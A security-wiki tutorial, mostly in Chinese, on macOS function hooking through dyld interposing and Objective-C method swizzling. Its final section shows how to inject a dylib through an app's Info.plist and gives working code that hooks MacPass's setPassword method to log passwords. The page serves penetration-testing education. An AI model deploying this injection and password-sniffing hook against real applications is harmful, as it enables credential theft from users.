# macOS Function Hooking

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## Function Interposing

创建一个带有 **`__interpose`** 部分（或标记为 **`S_INTERPOSING`** 的部分）的 **dylib**，其中包含指向 **原始** 和 **替代** 函数的 **函数指针** 元组。

然后，使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib（插入需要在主应用加载之前发生）。显然，适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 

### Interpose printf

{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}

{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}

{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## 方法交换

在 ObjectiveC 中，方法调用的方式是：**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**

需要 **对象**、**方法**和 **参数**。当调用一个方法时，使用函数 **`objc_msgSend`** 发送 **msg**：`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`

对象是 **`someObject`**，方法是 **`@selector(method1p1:p2:)`**，参数是 **value1**，**value2**。

根据对象结构，可以访问一个 **方法数组**，其中 **名称** 和 **指向方法代码的指针** 被 **存放**。

> [!CAUTION]
> 请注意，由于方法和类是根据其名称访问的，因此这些信息存储在二进制文件中，因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它。

### 访问原始方法

可以访问方法的信息，例如名称、参数数量或地址，如以下示例所示：
```objectivec
// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}
```
### 方法交换与 method_exchangeImplementations

函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数的实现**。

> [!CAUTION]
> 因此，当调用一个函数时，**执行的是另一个函数**。
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}
```
> [!WARNING]
> 在这种情况下，如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**，它可能会**检测**到这种交换并阻止其运行。
>
> 以下技术没有这个限制。

### 使用 method_setImplementation 进行方法交换

之前的格式很奇怪，因为你正在将两个方法的实现互相更改。使用函数 **`method_setImplementation`**，你可以**更改**一个**方法的实现为另一个**。

只需记住，如果你打算在覆盖之前从新实现中调用原始实现，请**存储原始实现的地址**，因为稍后定位该地址会更加复杂。
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}
```
## Hooking Attack Methodology

在本页中讨论了不同的函数钩取方法。然而，它们涉及到**在进程内部运行代码进行攻击**。

为了做到这一点，最简单的技术是通过环境变量或劫持来注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过，我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。

然而，这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。

然而，函数钩取攻击是非常具体的，攻击者会这样做以**从进程内部窃取敏感信息**（否则你只会进行进程注入攻击）。这些敏感信息可能位于用户下载的应用程序中，例如 MacPass。

因此，攻击者的途径是找到一个漏洞或去掉应用程序的签名，通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`**环境变量，添加类似于：
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
然后**重新注册**应用程序：
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
在该库中添加钩子代码以提取信息：密码、消息...

> [!CAUTION]
> 请注意，在较新版本的 macOS 中，如果您 **剥离应用程序二进制文件的签名** 并且它之前已被执行，macOS **将不再执行该应用程序**。

#### 库示例
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## 参考

- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

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